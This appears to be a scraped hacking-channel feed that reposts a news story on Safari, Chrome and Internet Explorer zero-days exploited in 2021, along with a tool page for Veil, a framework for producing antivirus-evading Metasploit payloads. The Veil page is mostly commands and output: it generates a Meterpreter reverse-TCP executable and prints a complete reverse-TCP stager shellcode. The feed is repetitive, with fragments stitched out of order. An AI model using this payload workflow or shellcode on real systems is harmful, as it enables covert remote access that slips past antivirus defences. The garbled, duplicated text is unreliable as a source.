Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Instant GraphQL APIs for Your Databases
https://cdn-images-1.medium.com/max/1920/1*n5LYmF6onkMWWxMUSilNtw.png
Auto-generate GraphQL APIs for your databases.
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Instant GraphQL APIs for Your Databases
https://cdn-images-1.medium.com/max/1920/1*n5LYmF6onkMWWxMUSilNtw.png
Auto-generate GraphQL APIs for your databases.
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Instant GraphQL APIs for Your Databases
Auto-generate GraphQL APIs for your databases.
Hacking APIs: Types and Architectures
https://thexssrat.medium.com/hacking-apis-types-and-architectures-e7f92e48924a?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
https://thexssrat.medium.com/hacking-apis-types-and-architectures-e7f92e48924a?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
Medium
Hacking APIs: Types and Architectures
Understanding APIs and their weaknesses
Understanding APIs and their weaknessesContinue reading on Medium » (https://thexssrat.medium.com/hacking-apis-types-and-architectures-e7f92e48924a?source=rss------bug_bounty-5)
___________________________
@hacking_Attack
@Hacking_Video
___________________________
@hacking_Attack
@Hacking_Video
Medium
Hacking APIs: Types and Architectures
Understanding APIs and their weaknesses
Hacking Articles Tips Tricks Videos Tutorials
Photo
Black Hat Ethical Hacking
Safari Zero-Day Used in Malicious LinkedIn Campaign
https://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Safari Zero-Day Used in Malicious LinkedIn CampaignPost Views: 72
Reading Time: 1 Minute
Threat actors used a Safari zero-day flaw to send malicious links to government officials in Western Europe via LinkedIn before researchers from Google discovered and reported the vulnerability.
That’s the word from researchers from Google Threat Analysis Group (TAG) and Google Project Zero, who Wednesday posted a blog shedding more light on several zero-day flaws that they discovered so far this year. Researchers in particular detailed how attackers exploited the vulnerabilities—the prevalence of which are on the rise–before they were addressed by their respective vendors.
TAG researchers discovered the Safari WebKit flaw, tracked as CVE-2021-1879, on March 19. The vulnerability allowed for the processing of maliciously crafted web content for universal cross site scripting and was addressed by Apple in an update later that month.
Before the fix, researchers assert Russian-language threat actors were exploiting the vulnerability in the wild by using LinkedIn Messaging to send government officials from Western European countries malicious links that could collect website-authentication cookies, according to the post by Maddie Stone and Clement Lecigne from Google TAG.
“If the target visited the link from an iOS device, they would be redirected to an attacker-controlled domain that served the next-stage payloads,” they wrote.
The exploit, which targeted iOS versions 12.4 through 13.7, would turn off Same-Origin-Policy protections on an infected device to collect authentication cookies from several popular websites–including Google, Microsoft, LinkedIn, Facebook and Yahoo–and then send them via WebSocket to an attacker-controlled IP, researchers wrote. The victim would need to have a session open on these websites from Safari for cookies to be successfully exfiltrated.
Moreover, the campaign targeting iOS devices coincided with others from the same threat actor—which Microsoft has identified as Nobelium–targeting users on Windows devices to deliver Cobalt Strike, researchers wrote. Security firm Volexity described one of these attacks in a report posted online in May, the researchers added.
Nobellium is believed to be a Russia-based threat group responsible for the expansive cyber-espionage SolarWinds campaign, which affected numerous U.S. government agencies and tech companies, including Microsoft.
See Also: Kaseya ransomware supply chain attack: What you need to know Other Zero-Day AttacksGoogle researchers also linked three additional zero-day flaws they identified this year to a commercial surveillance vendor, according to Google TAG’s Shane Huntley. Two of those vulnerabilities–CVE-2021-21166 and CVE-2021-30551—were found in Chrome, and one, tracked as CVE-2021-33742, in Internet Explorer.
CVE-2021-21166 and CVE-2021-30551, two Chrome rendered remote-code execution (RCE) flaws, were identified separately but later believed to be used by the same actor, researchers wrote in the blog. Google researchers discovered the former in February and the latter in June.
“Both of these 0-days were delivered as one-time links sent by email to the targets, all of whom we believe were in Armenia,” Stone and Lecigne wrote. “The links led to attacker-controlled domains that mimicked legitimate websites related to the targeted users.”
When prospective victims clicked the link, they were redirected to a webpage that would fingerprint their device, collect system information about the client, and generate ECDH k[...]
___________________________
@hacking_Attack
@Hacking_Video
Safari Zero-Day Used in Malicious LinkedIn Campaign
https://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Safari Zero-Day Used in Malicious LinkedIn CampaignPost Views: 72
Reading Time: 1 Minute
Threat actors used a Safari zero-day flaw to send malicious links to government officials in Western Europe via LinkedIn before researchers from Google discovered and reported the vulnerability.
That’s the word from researchers from Google Threat Analysis Group (TAG) and Google Project Zero, who Wednesday posted a blog shedding more light on several zero-day flaws that they discovered so far this year. Researchers in particular detailed how attackers exploited the vulnerabilities—the prevalence of which are on the rise–before they were addressed by their respective vendors.
TAG researchers discovered the Safari WebKit flaw, tracked as CVE-2021-1879, on March 19. The vulnerability allowed for the processing of maliciously crafted web content for universal cross site scripting and was addressed by Apple in an update later that month.
Before the fix, researchers assert Russian-language threat actors were exploiting the vulnerability in the wild by using LinkedIn Messaging to send government officials from Western European countries malicious links that could collect website-authentication cookies, according to the post by Maddie Stone and Clement Lecigne from Google TAG.
“If the target visited the link from an iOS device, they would be redirected to an attacker-controlled domain that served the next-stage payloads,” they wrote.
The exploit, which targeted iOS versions 12.4 through 13.7, would turn off Same-Origin-Policy protections on an infected device to collect authentication cookies from several popular websites–including Google, Microsoft, LinkedIn, Facebook and Yahoo–and then send them via WebSocket to an attacker-controlled IP, researchers wrote. The victim would need to have a session open on these websites from Safari for cookies to be successfully exfiltrated.
Moreover, the campaign targeting iOS devices coincided with others from the same threat actor—which Microsoft has identified as Nobelium–targeting users on Windows devices to deliver Cobalt Strike, researchers wrote. Security firm Volexity described one of these attacks in a report posted online in May, the researchers added.
Nobellium is believed to be a Russia-based threat group responsible for the expansive cyber-espionage SolarWinds campaign, which affected numerous U.S. government agencies and tech companies, including Microsoft.
See Also: Kaseya ransomware supply chain attack: What you need to know Other Zero-Day AttacksGoogle researchers also linked three additional zero-day flaws they identified this year to a commercial surveillance vendor, according to Google TAG’s Shane Huntley. Two of those vulnerabilities–CVE-2021-21166 and CVE-2021-30551—were found in Chrome, and one, tracked as CVE-2021-33742, in Internet Explorer.
CVE-2021-21166 and CVE-2021-30551, two Chrome rendered remote-code execution (RCE) flaws, were identified separately but later believed to be used by the same actor, researchers wrote in the blog. Google researchers discovered the former in February and the latter in June.
“Both of these 0-days were delivered as one-time links sent by email to the targets, all of whom we believe were in Armenia,” Stone and Lecigne wrote. “The links led to attacker-controlled domains that mimicked legitimate websites related to the targeted users.”
When prospective victims clicked the link, they were redirected to a webpage that would fingerprint their device, collect system information about the client, and generate ECDH k[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Photo
Black Hat Ethical Hacking
Offensive Security Tool: Veil
https://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Offensive Security Tool: VeilPost Views: 163 https://www.blackhatethicalhacking.com/wp-content/uploads/2020/11/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-8-1-300x120.png Reading Time: 4 Minutes
Offensive Security Tool: Veil GitHub Link
Veil
https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/68747470733a2f2f7777772e7665696c2d6672616d65776f726b2e636f6d2f77702d636f6e74656e742f75706c6f6164732f323031332f31322f63726f707065642d5665696c2d53796d626f6c322e706e67.png
Veil by Veil-Framework is a tool designed to generate metasploit payloads that bypass common anti-virus solutions.
Veil is current under support by @ChrisTruncer
Veil 3.1, the latest edition uses a more sophisticated way and will now allocate memory with RW permissions, to enable the stager to write shellcode into the allocated memory. After writing the shellcode to the allocated memory, the stager will call VirtualProtect to change the memory permissions from RW to RX. At this point, the stager will continue on to call CreateThread and WaitForSingleObject as normal. Making it even more powerful.
Software Requirements:
The following OSs are officially supported:
* Debian 8+
* Kali Linux Rolling 2018.1+
The following OSs are likely able to run Veil:
* Arch Linux
* BlackArch Linux
* Deepin 15+
* Elementary
* Fedora 22+
* Linux Mint
* Parrot Security
* Ubuntu 15.10+
* Void Linux
Setup
Kali’s Quick Install
apt -y install veil
/usr/share/veil/config/setup.sh --force --silent
Git’s Quick Install
NOTE:
* Installation must be done with superuser privileges. If you are not using the root account (as default with Kali Linux), prepend commands with
* Your package manager may be different to
sudo apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git cd Veil/
./config/setup.sh --force --silent
./config/setup.sh // Setup Files
This file is responsible for installing all the dependences of Veil. This includes all the WINE environment, for the Windows side of things. It will install all the necessary Linux packages and GoLang, as well as Python, Ruby and AutoIT for Windows. In addition, it will also run
It includes two optional flags,
--force ~ If something goes wrong, this will overwrite detecting any previous installs. Useful when there is a setup package update.
--silent ~ This will perform an unattended installation of everything, as it will automate all the steps, so there is no interaction for the user.
This can be ran either by doing:
./config/update-config.py // Regenerating Configuration file
This will generate the output file for
It is important that you are in the
Main Menu
0 payloads loaded
Don’t panic. Run either:
Py2Exe
NOTE: Using Py2Exe is recommended over PyInstaller (as it has a lower detection rate).
MANUALLY Install on a Windows Computer (as this isn’t done by Ve[...]
___________________________
@hacking_Attack
@Hacking_Video
Offensive Security Tool: Veil
https://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Offensive Security Tool: VeilPost Views: 163 https://www.blackhatethicalhacking.com/wp-content/uploads/2020/11/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-8-1-300x120.png Reading Time: 4 Minutes
Offensive Security Tool: Veil GitHub Link
Veil
https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/68747470733a2f2f7777772e7665696c2d6672616d65776f726b2e636f6d2f77702d636f6e74656e742f75706c6f6164732f323031332f31322f63726f707065642d5665696c2d53796d626f6c322e706e67.png
Veil by Veil-Framework is a tool designed to generate metasploit payloads that bypass common anti-virus solutions.
Veil is current under support by @ChrisTruncer
Veil 3.1, the latest edition uses a more sophisticated way and will now allocate memory with RW permissions, to enable the stager to write shellcode into the allocated memory. After writing the shellcode to the allocated memory, the stager will call VirtualProtect to change the memory permissions from RW to RX. At this point, the stager will continue on to call CreateThread and WaitForSingleObject as normal. Making it even more powerful.
Software Requirements:
The following OSs are officially supported:
* Debian 8+
* Kali Linux Rolling 2018.1+
The following OSs are likely able to run Veil:
* Arch Linux
* BlackArch Linux
* Deepin 15+
* Elementary
* Fedora 22+
* Linux Mint
* Parrot Security
* Ubuntu 15.10+
* Void Linux
Setup
Kali’s Quick Install
apt -y install veil
/usr/share/veil/config/setup.sh --force --silent
Git’s Quick Install
NOTE:
* Installation must be done with superuser privileges. If you are not using the root account (as default with Kali Linux), prepend commands with
sudoor change to the root user before beginning.* Your package manager may be different to
apt. You will also need an X server running, either on the system itself, or on your local system.sudo apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git cd Veil/
./config/setup.sh --force --silent
./config/setup.sh // Setup Files
This file is responsible for installing all the dependences of Veil. This includes all the WINE environment, for the Windows side of things. It will install all the necessary Linux packages and GoLang, as well as Python, Ruby and AutoIT for Windows. In addition, it will also run
./config/update-config.pyfor your environment.It includes two optional flags,
--forceand --silent:--force ~ If something goes wrong, this will overwrite detecting any previous installs. Useful when there is a setup package update.
--silent ~ This will perform an unattended installation of everything, as it will automate all the steps, so there is no interaction for the user.
This can be ran either by doing:
./Veil.py --setupOR ./config/setup.sh --force../config/update-config.py // Regenerating Configuration file
This will generate the output file for
/etc/veil/settings.py. Most of the time it will not need to be rebuilt but in some cases you might be prompted to do so (such as a major Veil update).It is important that you are in the
./config/directory before executing update-config.py. If you are not, /etc/veil/settings.pywill be incorrect and when you launch Veil you will see the following:Main Menu
0 payloads loaded
Don’t panic. Run either:
./Veil.py --configOR cd ./config/; ./update-config.py.Py2Exe
NOTE: Using Py2Exe is recommended over PyInstaller (as it has a lower detection rate).
MANUALLY Install on a Windows Computer (as this isn’t done by Ve[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Black Hat Ethical Hacking Safari Zero-Day Used in Malicious LinkedIn Campaign https://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Safari Zero-Day Used in Malicious LinkedIn CampaignPost Views: 72 Reading…
eys to encrypt the exploits, researchers wrote. This info—which included screen resolution, timezone, languages, browser plugins, and available MIME types—would then be sent back to the exploit server and used by attackers to decide whether or not an exploit should be delivered to the target, they said.
Researchers also identified a separate campaigned in April that also targeted Armenian users by leveraging CVE-2021-26411, an RCE bug found in Internet Explorer (IE). The campaign loaded web content within IE that contained malicious Office documents, researchers wrote.
“This happened by either embedding a remote ActiveX object using a Shell.Explorer.1 OLE object or by spawning an Internet Explorer process via VBA macros to navigate to a web page,” Stone and Lecigne explained.
At the time, researchers said they were unable to recover the next-stage payload, but successfully recovered the exploit after discovering an early June campaign from the same actors. Microsoft patched the flaw later that month, they said. See Also: Offensive Security Tool: It Was All A Dream (Windows Print Spooler RCE) Why There is an Increase in Zero-Days?All in all, security researchers have identified 33 zero-day flaws so far in 2021, which is 11 more than the total number from 2020, according to the post.
While that trend reflects an increase in the number of these types of vulnerabilities that exist, Google researchers “believe greater detection and disclosure efforts are also contributing to the upward trend,” they wrote.
Still, it’s highly possible that attackers are indeed using more zero-day exploits for a few reasons, researchers noted. One is that the increase and maturation of security technologies and features means attackers also have to level up, which in turn requires more zero-day vulnerabilities for functional attack chains, they said. See Also: Hacking Stories: Andrian Lamo – The ‘homeless’ Hacker The growth of mobile platforms also has resulted in an increase in the number of products that threat actors want to target—hence more reason to use zero-day exploits, researchers observed. Perhaps inspired by this increase in demand, commercial vendors also are selling more access to zero-days than in the early 2010s, they said.
Finally, the maturation of security protections and strategies also inspires sophistication on the part of attackers as well, boosting the need for them to use zero-day flaws to convince victims to install malware, researchers noted.
“Due to advancements in security, these actors now more often have to use 0-day exploits to accomplish their goals,” Stone and Lecigne wrote.
Source: threatpost.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/Windows-Hello-e1626260072511-90x90.jpg Windows Hello Bypass Fools Biometrics Safeguards in PCs1 day ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/ICS-90x90.jpg Unpatched Critical RCE Bug Allows Industrial, Utility Takeovers2 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/patching-against-ransomware-100723134-large-90x90.jpg Kaseya Patches Zero-Days Used in REvil Attacks3 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/cisco-90x90.jpg Cisco BPA, WSA Bugs Allow Remote Cyberattacks4 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/Untitled-design-8-90x90.png Coursera Flunks API Security Test in Researchers’ Exam1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/macos-trojan-90x90.jpg MacOS Targeted in WildPressure APT Malware Campaign1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/i339637-90x90.jpg Western Digital Users Face Another RCE1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/shutterstock_1968890518[...]
___________________________
@hacking_Attack
@Hacking_Video
Researchers also identified a separate campaigned in April that also targeted Armenian users by leveraging CVE-2021-26411, an RCE bug found in Internet Explorer (IE). The campaign loaded web content within IE that contained malicious Office documents, researchers wrote.
“This happened by either embedding a remote ActiveX object using a Shell.Explorer.1 OLE object or by spawning an Internet Explorer process via VBA macros to navigate to a web page,” Stone and Lecigne explained.
At the time, researchers said they were unable to recover the next-stage payload, but successfully recovered the exploit after discovering an early June campaign from the same actors. Microsoft patched the flaw later that month, they said. See Also: Offensive Security Tool: It Was All A Dream (Windows Print Spooler RCE) Why There is an Increase in Zero-Days?All in all, security researchers have identified 33 zero-day flaws so far in 2021, which is 11 more than the total number from 2020, according to the post.
While that trend reflects an increase in the number of these types of vulnerabilities that exist, Google researchers “believe greater detection and disclosure efforts are also contributing to the upward trend,” they wrote.
Still, it’s highly possible that attackers are indeed using more zero-day exploits for a few reasons, researchers noted. One is that the increase and maturation of security technologies and features means attackers also have to level up, which in turn requires more zero-day vulnerabilities for functional attack chains, they said. See Also: Hacking Stories: Andrian Lamo – The ‘homeless’ Hacker The growth of mobile platforms also has resulted in an increase in the number of products that threat actors want to target—hence more reason to use zero-day exploits, researchers observed. Perhaps inspired by this increase in demand, commercial vendors also are selling more access to zero-days than in the early 2010s, they said.
Finally, the maturation of security protections and strategies also inspires sophistication on the part of attackers as well, boosting the need for them to use zero-day flaws to convince victims to install malware, researchers noted.
“Due to advancements in security, these actors now more often have to use 0-day exploits to accomplish their goals,” Stone and Lecigne wrote.
Source: threatpost.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/Windows-Hello-e1626260072511-90x90.jpg Windows Hello Bypass Fools Biometrics Safeguards in PCs1 day ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/ICS-90x90.jpg Unpatched Critical RCE Bug Allows Industrial, Utility Takeovers2 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/patching-against-ransomware-100723134-large-90x90.jpg Kaseya Patches Zero-Days Used in REvil Attacks3 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/cisco-90x90.jpg Cisco BPA, WSA Bugs Allow Remote Cyberattacks4 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/Untitled-design-8-90x90.png Coursera Flunks API Security Test in Researchers’ Exam1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/macos-trojan-90x90.jpg MacOS Targeted in WildPressure APT Malware Campaign1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/i339637-90x90.jpg Western Digital Users Face Another RCE1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/shutterstock_1968890518[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Black Hat Ethical Hacking Offensive Security Tool: Veil https://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Offensive Security Tool: VeilPost Views: 163 https://www.blackhatethicalhacking.com/wp-content/u…
il’s setup):
* Python 3.3
* Py2Exe
* PyCrypto
* PyWin32
Example Usage
Veil’s Main Menu:
$ ./Veil.py
===============================================================================
Veil | [Version]: 3.1.6
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
Main Menu
2 tools loaded
Available Tools:
1) Evasion
2) Ordnance
Available Commands: exit Completely exit Veil
info Information on a specific tool
list List available tools
options Show Veil configuration
update Update Veil
use Use a specific tool
Veil>:
Help
$ ./Veil.py --help
usage: Veil.py [--list-tools] [-t TOOL] [--update] [--setup] [--config]
[--version] [--ip IP] [--port PORT] [--list-payloads]
[-p [PAYLOAD]] [-o OUTPUT-NAME]
[-c [OPTION=value [OPTION=value ...]]]
[--msfoptions [OPTION=value [OPTION=value ...]]] [--msfvenom ]
[--compiler pyinstaller] [--clean] [--ordnance-payload PAYLOAD]
[--list-encoders] [-e ENCODER] [-b \x00\x0a..] [--print-stats]
Veil is a framework containing multiple tools.
[*] Veil Options:
--list-tools List Veil's tools -t TOOL, --tool TOOL Specify Veil tool to use (Evasion, Ordnance etc.) --update Update the Veil framework --setup Run the Veil framework setup file & regenerate the configuration --config Regenerate the Veil framework configuration file --version Displays version and quits [*] Callback Settings: --ip IP, --domain IP IP address to connect back to --port PORT Port number to connect to [*] Payload Settings: --list-payloads Lists all available payloads for that tool [*] Veil-Evasion Options: -p [PAYLOAD] Payload to generate -o OUTPUT-NAME Output file base name for source and compiled binaries -c [OPTION=value [OPTION=value ...]] Custom payload module options --msfoptions [OPTION=value [OPTION=value ...]] Options for the specified metasploit payload --msfvenom [] Metasploit shellcode to generate (e.g. windows/meterpreter/reverse_tcp etc.) --compiler pyinstaller Compiler option for payload (currently only needed for Python) --clean Clean out payload folders [*] Veil-Ordnance Shellcode Options: --ordnance-payload PAYLOAD Payload type (bind_tcp, rev_tcp, etc.) [*] Veil-Ordnance Encoder Options: --list-encoders Lists all available encoders -e ENCODER, --encoder ENCODER Name of shellcode encoder to use -b \x00\x0a.., --bad-chars \x00\x0a.. Bad characters to avoid --print-stats Print information about the encoded shellcode $
Veil Evasion CLI
$ ./Veil.py -t Evasion -p go/meterpreter/rev_tcp.py --ip 127.0.0.1 --port 4444
===============================================================================
Veil-Evasion
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
runtime/internal/sys
runtime/internal/atomic
runtime
errors
internal/race
sync/atomic
math
sync
io
unicode/utf8
internal/syscall/windows/sysdll
unicode/utf16
syscall
strconv
reflect
encoding/binary
command-line-arguments
===============================================================================
Veil-Evasion
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
[*] Language: go
[*] Payload Module: go/meterpreter/rev_tcp
[*] Executable written to: /[...]
___________________________
@hacking_Attack
@Hacking_Video
* Python 3.3
* Py2Exe
* PyCrypto
* PyWin32
Example Usage
Veil’s Main Menu:
$ ./Veil.py
===============================================================================
Veil | [Version]: 3.1.6
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
Main Menu
2 tools loaded
Available Tools:
1) Evasion
2) Ordnance
Available Commands: exit Completely exit Veil
info Information on a specific tool
list List available tools
options Show Veil configuration
update Update Veil
use Use a specific tool
Veil>:
Help
$ ./Veil.py --help
usage: Veil.py [--list-tools] [-t TOOL] [--update] [--setup] [--config]
[--version] [--ip IP] [--port PORT] [--list-payloads]
[-p [PAYLOAD]] [-o OUTPUT-NAME]
[-c [OPTION=value [OPTION=value ...]]]
[--msfoptions [OPTION=value [OPTION=value ...]]] [--msfvenom ]
[--compiler pyinstaller] [--clean] [--ordnance-payload PAYLOAD]
[--list-encoders] [-e ENCODER] [-b \x00\x0a..] [--print-stats]
Veil is a framework containing multiple tools.
[*] Veil Options:
--list-tools List Veil's tools -t TOOL, --tool TOOL Specify Veil tool to use (Evasion, Ordnance etc.) --update Update the Veil framework --setup Run the Veil framework setup file & regenerate the configuration --config Regenerate the Veil framework configuration file --version Displays version and quits [*] Callback Settings: --ip IP, --domain IP IP address to connect back to --port PORT Port number to connect to [*] Payload Settings: --list-payloads Lists all available payloads for that tool [*] Veil-Evasion Options: -p [PAYLOAD] Payload to generate -o OUTPUT-NAME Output file base name for source and compiled binaries -c [OPTION=value [OPTION=value ...]] Custom payload module options --msfoptions [OPTION=value [OPTION=value ...]] Options for the specified metasploit payload --msfvenom [] Metasploit shellcode to generate (e.g. windows/meterpreter/reverse_tcp etc.) --compiler pyinstaller Compiler option for payload (currently only needed for Python) --clean Clean out payload folders [*] Veil-Ordnance Shellcode Options: --ordnance-payload PAYLOAD Payload type (bind_tcp, rev_tcp, etc.) [*] Veil-Ordnance Encoder Options: --list-encoders Lists all available encoders -e ENCODER, --encoder ENCODER Name of shellcode encoder to use -b \x00\x0a.., --bad-chars \x00\x0a.. Bad characters to avoid --print-stats Print information about the encoded shellcode $
Veil Evasion CLI
$ ./Veil.py -t Evasion -p go/meterpreter/rev_tcp.py --ip 127.0.0.1 --port 4444
===============================================================================
Veil-Evasion
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
runtime/internal/sys
runtime/internal/atomic
runtime
errors
internal/race
sync/atomic
math
sync
io
unicode/utf8
internal/syscall/windows/sysdll
unicode/utf16
syscall
strconv
reflect
encoding/binary
command-line-arguments
===============================================================================
Veil-Evasion
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
[*] Language: go
[*] Payload Module: go/meterpreter/rev_tcp
[*] Executable written to: /[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
eys to encrypt the exploits, researchers wrote. This info—which included screen resolution, timezone, languages, browser plugins, and available MIME types—would then be sent back to the exploit server and used by attackers to decide whether or not an exploit…
-1-90x90.jpg Kaseya ransomware supply chain attack: What you need to know1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/printer-90x90.jpg CISA Offers New Mitigation for PrintNightmare Bug2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/router-90x90.jpg Netgear Authentication Bypass Allows Router Takeover2 weeks ago
style="display:block; text-align:center;"
data-ad-layout="in-article"
data-ad-format="fluid"
data-ad-client="ca-pub-6620833063853657"
data-ad-slot="4517761481">
The post Safari Zero-Day Used in Malicious LinkedIn Campaign first appeared on Black Hat Ethical Hacking.
___________________________
@hacking_Attack
@Hacking_Video
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/printer-90x90.jpg CISA Offers New Mitigation for PrintNightmare Bug2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/router-90x90.jpg Netgear Authentication Bypass Allows Router Takeover2 weeks ago
style="display:block; text-align:center;"
data-ad-layout="in-article"
data-ad-format="fluid"
data-ad-client="ca-pub-6620833063853657"
data-ad-slot="4517761481">
The post Safari Zero-Day Used in Malicious LinkedIn Campaign first appeared on Black Hat Ethical Hacking.
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
il’s setup): * Python 3.3 * Py2Exe * PyCrypto * PyWin32 Example Usage Veil’s Main Menu: $ ./Veil.py =============================================================================== Veil | [Version]: 3.1.6 ====================…
var/lib/veil/output/compiled/payload.exe
[*] Source code written to: /var/lib/veil/output/source/payload.go
[*] Metasploit Resource file written to: /var/lib/veil/output/handlers/payload.rc
$
$ file /var/lib/veil/output/compiled/payload.exe
/var/lib/veil/output/compiled/payload.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
$
Veil Ordnance CLI
$ ./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 127.0.0.1 --port 4444
===============================================================================
Veil-Ordnance
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
[*] Payload Name: Reverse TCP Stager (Stage 1)
[*] IP Address: 127.0.0.1
[*] Port: 4444
[*] Shellcode Size: 287
\xfc\xe8\x86\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x8b\x4c\x10\x78\xe3\x4a\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x89\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x09\x68\x7f\x00\x00\x01\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3
$
Licensing
This project is licensed under the GNU General Public License v3 license.
See Also: Offensive Security Tool: It Was All A Dream (Windows Print Spooler RCE) Recent Tools* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/Untitled-design-90x90.png Offensive Security Tool: It Was All A Dream (Windows Print Spooler RCE)1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/unknown-e1625210118591-90x90.png Offensive Security Tool: GoSpider2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/3Gn0bEI-e1624621931936-90x90.png Offensive Security Tool: Pixload3 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/Vqwdgis-90x90.png Offensive Security Tool: SecretFinder4 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/3v1wot9-90x90.png Offensive Security Tool: CloudFail1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/Screenshot_2021-06-04_053854-90x90.png Offensive Security Tool: Pacu – The Amazon Web Services Exploitation Framework1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/05/Screenshot_20210527_200634-90x90.png OSINT Tool: LinkedIn Scraper2 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/05/sna-768x373-1-90x90.png Offensive Security Tool: Snallygaster2 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/05/image_2021-05-14_115500-90x90.png Offensive Security Tool: Breacher2 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/05/image_2021-05-07_124858-90x90.png Offensive Security Tool: EyeWitness2 months ago
style="display:block; text-align:center;"
data-ad-layout="in-article"
data-ad-format="fluid"
data-ad-cli[...]
___________________________
@hacking_Attack
